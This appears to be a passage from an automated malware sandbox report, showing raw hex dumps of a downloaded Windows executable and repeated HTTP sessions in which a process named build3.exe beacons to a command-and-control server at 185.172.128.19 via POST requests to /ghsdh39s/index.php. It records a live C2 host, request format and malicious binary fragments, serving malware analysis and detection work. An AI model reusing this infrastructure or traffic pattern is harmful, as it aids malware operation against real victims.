00 00 00 00 00 00 0a 00 a8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 22 ee 09 00 00 10 00 00 00 f0 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e6 34 00 00 00 00 0a 00 00 36 00 00 00 f4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 06 42 00 00 40 0a 00 00 18 00 00 00 2a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 7b 01 00 00 50 4c 00 00 7c 01 00 00 42 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELbD>@M0(+xPL@{@.text" `.rdata46@@.data\|B@*@.rsrc@{PL\|B@@
Dec 20, 2023 15:35:17.214838028 CET	1286	IN	Data Raw: 55 8b ec 56 8d 45 08 50 8b f1 e8 36 2a 00 00 c7 06 24 02 4a 00 8b c6 5e 5d c2 04 00 cc cc cc cc c7 01 24 02 4a 00 e9 e7 2a 00 00 cc cc cc cc cc 55 8b ec 56 8b f1 e8 e5 ff ff ff f6 45 08 01 74 09 56 e8 29 2b 00 00 83 c4 04 8b c6 5e 5d c2 04 00 cc Data Ascii: UVEP6$J^]$JUVEtV)+^]UEQRUQR+]UEQRUQR?)]ffhJ*UPEV]UPEV]
Dec 20, 2023 15:35:17.560285091 CET	1286	IN	Data Raw: 8c 00 8b 0d 74 34 8c 00 c1 e8 03 81 ec 1c 08 00 00 85 c0 0f 86 ca 00 00 00 53 8b 1d b8 00 4a 00 56 8b 35 4c 00 4a 00 57 8b 3d b0 00 4a 00 89 4d fc 89 45 f8 8d 9b 00 00 00 00 81 3d 20 45 8c 00 59 09 00 00 0f 85 7f 00 00 00 6a 00 6a 00 ff d6 6a 00 Data Ascii: t4SJV5LJW=JME= EYjjjjjjPjhpJjjj@JjJjjhJhJjPJ3PPMQPEEEEETJjjjjjjhJJUR8EmZ_^[]UQE
Dec 20, 2023 15:35:17.560353994 CET	1286	IN	Data Raw: c3 cc cc cc 6a 00 6a 01 e8 b7 0a 00 00 c3 cc cc cc cc cc cc 56 8b f1 8b 4e 38 c7 06 4c 1e 4a 00 85 c9 74 07 6a 01 e8 39 0a 00 00 8d 4e 04 5e e9 51 1a 00 00 e8 3b f7 ff ff c2 04 00 cc cc cc cc cc cc cc cc e8 2b f7 ff ff c2 04 00 cc cc cc cc cc cc Data Ascii: jjVN8LJtj9N^Q;+3UVPWEUE}t_^]_^]UU@RUjR]UVW}3M
Dec 20, 2023 15:35:17.560369015 CET	1286	IN	Data Raw: 8b 45 fc 8b d1 03 fb 8b ce e8 b0 07 00 00 f6 46 40 04 74 09 8b 45 f8 33 d2 8b f8 eb 1a 8b c6 e8 da 06 00 00 8b f8 8b c6 47 e8 b0 06 00 00 8b d0 8b c7 8b 7d f8 03 d3 8b ce e8 f0 06 00 00 8b 5d f4 f6 46 40 01 74 0d 8b 4d f0 53 51 8d 4e 44 e8 da 05 Data Ascii: EF@tE3G}]F@tMSQNDN@E_E^[]UVWO@';UE}u'EnEJEuF@uC
Dec 20, 2023 15:35:17.560383081 CET	1286	IN	Data Raw: 00 eb 02 8b fb 8b 75 08 8b cf 8b c6 e8 17 04 00 00 5f 8b c6 5e 5b 8b e5 5d c2 20 00 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b f1 e8 d5 f5 ff ff f6 45 08 01 74 09 56 e8 19 17 00 00 83 c4 04 8b c6 5e 5d c2 04 00 cc cc cc cc cc cc cc cc cc Data Ascii: u_^[] UVEtV^]UVEtV^]UVEtV^]U}S]Vt(~r"FW8vSWjPFF@PW9_S
Dec 20, 2023 15:35:17.894723892 CET	1286	IN	Data Raw: 68 0c 1d 4a 00 52 8b c3 e8 65 01 00 00 8b f0 e8 3e 03 00 00 8b f7 8b c3 e8 15 00 00 00 5f 5e 8b c3 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 c7 45 fc 00 00 00 00 89 70 14 e8 2d 01 00 00 8d 14 70 8d 45 fc e8 32 e7 ff ff 8b e5 Data Ascii: hJRe>_^[UQEp-pE2]PYUSVW}L;s<E+;s;]u73_^[]6t(EWKpPQc
Dec 20, 2023 15:35:17.894747019 CET	1286	IN	Data Raw: be 80 56 4a 00 56 e8 d0 08 00 00 83 c6 18 81 fe e0 56 4a 00 59 7c ee 5e c3 8b ff 55 8b ec 8b 45 08 83 f8 04 56 8b f1 89 06 7d 0f 6b c0 18 05 80 56 4a 00 50 e8 b2 08 00 00 59 8b c6 5e 5d c2 04 00 8b 01 83 f8 04 7d 0f 6b c0 18 05 80 56 4a 00 50 e8 Data Ascii: VJVVJY\|^UEV}kVJPY^]}kVJPYUuuuuEE]U}Vt+qAr9UrrI;Mv2^]Uuuuu2]Uuuuus]UQu
Dec 20, 2023 15:35:17.895062923 CET	1286	IN	Data Raw: 45 0c 83 c4 10 50 8b ce e8 29 f5 ff ff 5f 5b 8b c6 5e 5d c2 08 00 8b ff 55 8b ec 53 8b 5d 0c 56 57 8b 7d 08 8b 47 14 8b f1 3b c3 73 05 e8 3c ff ff ff 2b c3 89 45 08 8b 45 10 3b 45 08 73 03 89 45 08 3b f7 75 19 8b 45 08 6a ff 03 c3 50 e8 53 ff ff Data Ascii: EP)_[^]US]VW}G;s<+EE;EsE;uEjPSSjIFjut8rNrFFuWQPLu_^[]UVjFrjjuD^]j\Iu}W
Dec 20, 2023 15:35:17.895112038 CET	1286	IN	Data Raw: 8b 40 fc 6a 50 89 85 e4 fd ff ff 8d 85 d8 fc ff ff 6a 00 50 e8 f7 13 00 00 8d 85 d8 fc ff ff 83 c4 0c 89 85 28 fd ff ff 8d 85 30 fd ff ff 6a 00 c7 85 d8 fc ff ff 15 00 00 40 89 b5 e4 fc ff ff 89 85 2c fd ff ff ff 15 ec 00 4a 00 8d 85 28 fd ff ff Data Ascii: @jPjP(0j@,J(PJj UEVFuc!FHlHhN;(HJt@GJHpuF;HFJtF@GJHpuFF@puHpF@F^]U(B
Dec 20, 2023 15:35:17.895159960 CET	1286	IN	Data Raw: 89 75 fc 8d 45 98 50 ff 15 f0 00 4a 00 6a fe 5f 89 7d fc b8 4d 5a 00 00 66 39 05 00 00 40 00 75 38 a1 3c 00 40 00 81 b8 00 00 40 00 50 45 00 00 75 27 b9 0b 01 00 00 66 39 88 18 00 40 00 75 19 83 b8 74 00 40 00 0e 76 10 33 c9 39 b0 e8 00 40 00 0f Data Ascii: uEPJj_}MZf9@u8<@@PEu'f9@ut@v39@Mu3CS5AYujXYujGY@]j>}jYYS>xF=pWJ:=}j4Y:}j#YSY;tPY:]tM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49759	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:16.862236977 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:17.154694080 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:17.177691936 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:17.484209061 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49761	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:17.917320013 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:18.220467091 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:18.285566092 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:18.589207888 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49762	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:19.034070015 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:19.337908030 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:19.366101980 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:19.671652079 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49764	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:20.099179983 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:20.388364077 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:20.413923979 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:20.704792976 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49766	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:21.146970987 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:21.435915947 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:21.456983089 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:21.769694090 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49769	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:22.181269884 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:22.472547054 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:22.566649914 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:22.869270086 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49770	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:23.284411907 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:23.581886053 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:23.589137077 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:23.889019012 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49771	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:24.318456888 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:24.610882044 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:24.646924019 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:24.945364952 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49773	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:25.386033058 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:25.688337088 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:25.701567888 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:26.008013010 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49776	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:26.455049992 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:26.774678946 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
